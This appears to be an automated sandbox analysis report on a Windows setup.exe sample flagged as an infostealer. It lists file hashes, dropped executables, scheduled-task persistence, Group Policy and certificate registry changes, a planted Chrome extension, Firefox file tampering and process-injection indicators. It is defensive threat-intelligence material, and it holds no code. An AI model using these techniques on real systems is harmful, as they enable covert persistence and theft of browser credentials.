db14e6863ac69e3e3f4980b8d35246a2b23fb49ba5df637f663d4e919bd86652

Resubmissions

24/08/2023, 11:27

230824-nkwsxscb93 7

24/08/2023, 11:23

230824-nhgwzsdg2y 7

24/08/2023, 11:05

230824-m6t1sadf2s 10

Analysis

max time kernel
151s
max time network
153s
platform
windows10-1703_x64
resource
win10-20230703-en
resource tags

arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
submitted
24/08/2023, 11:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup.exe
Size

7.2MB
MD5

858d793cf7b8ba4381ce447e91dd5975
SHA1

ca790bbe56d76188fcc6bf63739c770239ab0441
SHA256

db14e6863ac69e3e3f4980b8d35246a2b23fb49ba5df637f663d4e919bd86652
SHA512

d4803602a55c1c510df11ec85980b62c9ece34ccd6e9b0130cdd31cfdcd8e44a360d0043517426637c15d68a980eb2ffd6c44a2dd7343dbc6d47d4ed3c7cacc2
SSDEEP

196608:91OkDh5/O74iqo1sVqYgM/mDHFD/JXUkA1z1E+lQQlq:3OkDhFO74iF1sVD/OU1z1EJQ4

Score

7^/10

spyware stealer

Malware Config

Signatures

Executes dropped EXE 5 IoCs

pid	Process
1536	Install.exe
4104	Install.exe
3032	oYjhDOp.exe
432	Pmduojw.exe
4116	YHBQrxE.exe

Loads dropped DLL 1 IoCs

pid	Process
4088	Conhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	Pmduojw.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Pmduojw.exe

Drops file in System32 directory 32 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_8A8F356C97F41E6E07EC03A3EE843934	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	Conhost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	reg.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	reg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_639DDF4AB55B1ED42CE80CDD4E47280A	Pmduojw.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\43020D84A876B652D2B6B7605FF1B7DE	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	Pmduojw.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	oYjhDOp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_8A8F356C97F41E6E07EC03A3EE843934	Pmduojw.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	oYjhDOp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\43020D84A876B652D2B6B7605FF1B7DE	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	Pmduojw.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_639DDF4AB55B1ED42CE80CDD4E47280A	Pmduojw.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	YHBQrxE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	Pmduojw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	Pmduojw.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	Pmduojw.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	Pmduojw.exe
File created	C:\Program Files (x86)\fOxnEmfbvtyaC\XeEbcXY.xml	Pmduojw.exe
File created	C:\Program Files (x86)\XFoDPUdvU\ePPwOgZ.xml	Pmduojw.exe
File created	C:\Program Files (x86)\zYpfbkoKIxTU2\sbWLfHrXEfpaY.dll	Pmduojw.exe
File created	C:\Program Files (x86)\ADdeFhyguSUn\aMmFDbV.dll	Pmduojw.exe
File created	C:\Program Files (x86)\XFoDPUdvU\bLHXfa.dll	Pmduojw.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	Pmduojw.exe
File created	C:\Program Files (x86)\frElYRIoNdjEJnGOQGR\vpwKXyF.dll	Pmduojw.exe
File created	C:\Program Files (x86)\frElYRIoNdjEJnGOQGR\oEZFcVy.xml	Pmduojw.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	Pmduojw.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	Pmduojw.exe
File created	C:\Program Files (x86)\zYpfbkoKIxTU2\dSIPJyg.xml	Pmduojw.exe
File created	C:\Program Files (x86)\fOxnEmfbvtyaC\lJlUzHc.dll	Pmduojw.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\ZvkNugpROavukWn.job	schtasks.exe
File created	C:\Windows\Tasks\eKBistvZSCqmfmzvd.job	schtasks.exe
File created	C:\Windows\Tasks\bRrLmincsdUQgplWAx.job	schtasks.exe
File created	C:\Windows\Tasks\bRrLmincsdUQgplWAx.job	schtasks.exe
File created	C:\Windows\rescache\_merged\4183903823\810424605.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	taskmgr.exe
File created	C:\Windows\Tasks\DIGMaOalKgfyEtfbb.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2460	schtasks.exe
4724	schtasks.exe
5092	schtasks.exe
3368	schtasks.exe
3004	schtasks.exe
4432	schtasks.exe
3608	schtasks.exe
2500	schtasks.exe
4140	schtasks.exe
2016	schtasks.exe
5084	schtasks.exe
3872	schtasks.exe
4248	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	Pmduojw.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133373498505218165"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	Pmduojw.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	Pmduojw.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "5"	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{251ba123-0000-0000-0000-d01200000000}	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{251ba123-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	Pmduojw.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{251ba123-0000-0000-0000-d01200000000}\MaxCapacity = "12287"	Pmduojw.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	Pmduojw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	Pmduojw.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3748	powershell.EXE
3748	powershell.EXE
3748	powershell.EXE
768	chrome.exe
768	chrome.exe
3192	powershell.exe
3192	powershell.exe
3192	powershell.exe
3192	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
2112	powershell.EXE
2112	powershell.EXE
2112	powershell.EXE
2112	powershell.EXE
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
4692	taskmgr.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
432	Pmduojw.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
3872	chrome.exe
3872	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3748	powershell.EXE
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe
Token: SeCreatePagefilePrivilege	768	chrome.exe
Token: SeShutdownPrivilege	768	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
768	chrome.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe
3872	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 704 wrote to memory of 1536	704	setup.exe	70
PID 704 wrote to memory of 1536	704	setup.exe	70
PID 704 wrote to memory of 1536	704	setup.exe	70
PID 1536 wrote to memory of 4104	1536	Install.exe	71
PID 1536 wrote to memory of 4104	1536	Install.exe	71
PID 1536 wrote to memory of 4104	1536	Install.exe	71
PID 4104 wrote to memory of 4456	4104	Install.exe	73
PID 4104 wrote to memory of 4456	4104	Install.exe	73
PID 4104 wrote to memory of 4456	4104	Install.exe	73
PID 4104 wrote to memory of 5020	4104	Install.exe	75
PID 4104 wrote to memory of 5020	4104	Install.exe	75
PID 4104 wrote to memory of 5020	4104	Install.exe	75
PID 4456 wrote to memory of 3984	4456	forfiles.exe	78
PID 4456 wrote to memory of 3984	4456	forfiles.exe	78
PID 4456 wrote to memory of 3984	4456	forfiles.exe	78
PID 5020 wrote to memory of 4512	5020	forfiles.exe	77
PID 5020 wrote to memory of 4512	5020	forfiles.exe	77
PID 5020 wrote to memory of 4512	5020	forfiles.exe	77
PID 4512 wrote to memory of 4140	4512	cmd.exe	79
PID 4512 wrote to memory of 4140	4512	cmd.exe	79
PID 4512 wrote to memory of 4140	4512	cmd.exe	79
PID 3984 wrote to memory of 3784	3984	cmd.exe	80
PID 3984 wrote to memory of 3784	3984	cmd.exe	80
PID 3984 wrote to memory of 3784	3984	cmd.exe	80
PID 4512 wrote to memory of 4144	4512	cmd.exe	81
PID 4512 wrote to memory of 4144	4512	cmd.exe	81
PID 4512 wrote to memory of 4144	4512	cmd.exe	81
PID 3984 wrote to memory of 4656	3984	cmd.exe	82
PID 3984 wrote to memory of 4656	3984	cmd.exe	82
PID 3984 wrote to memory of 4656	3984	cmd.exe	82
PID 4104 wrote to memory of 5084	4104	Install.exe	83
PID 4104 wrote to memory of 5084	4104	Install.exe	83
PID 4104 wrote to memory of 5084	4104	Install.exe	83
PID 4104 wrote to memory of 4428	4104	Install.exe	85
PID 4104 wrote to memory of 4428	4104	Install.exe	85
PID 4104 wrote to memory of 4428	4104	Install.exe	85
PID 3748 wrote to memory of 5076	3748	powershell.EXE	89
PID 3748 wrote to memory of 5076	3748	powershell.EXE	89
PID 768 wrote to memory of 4396	768	chrome.exe	96
PID 768 wrote to memory of 4396	768	chrome.exe	96
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98
PID 768 wrote to memory of 312	768	chrome.exe	98

C:\Users\Admin\AppData\Local\Temp\setup.exe
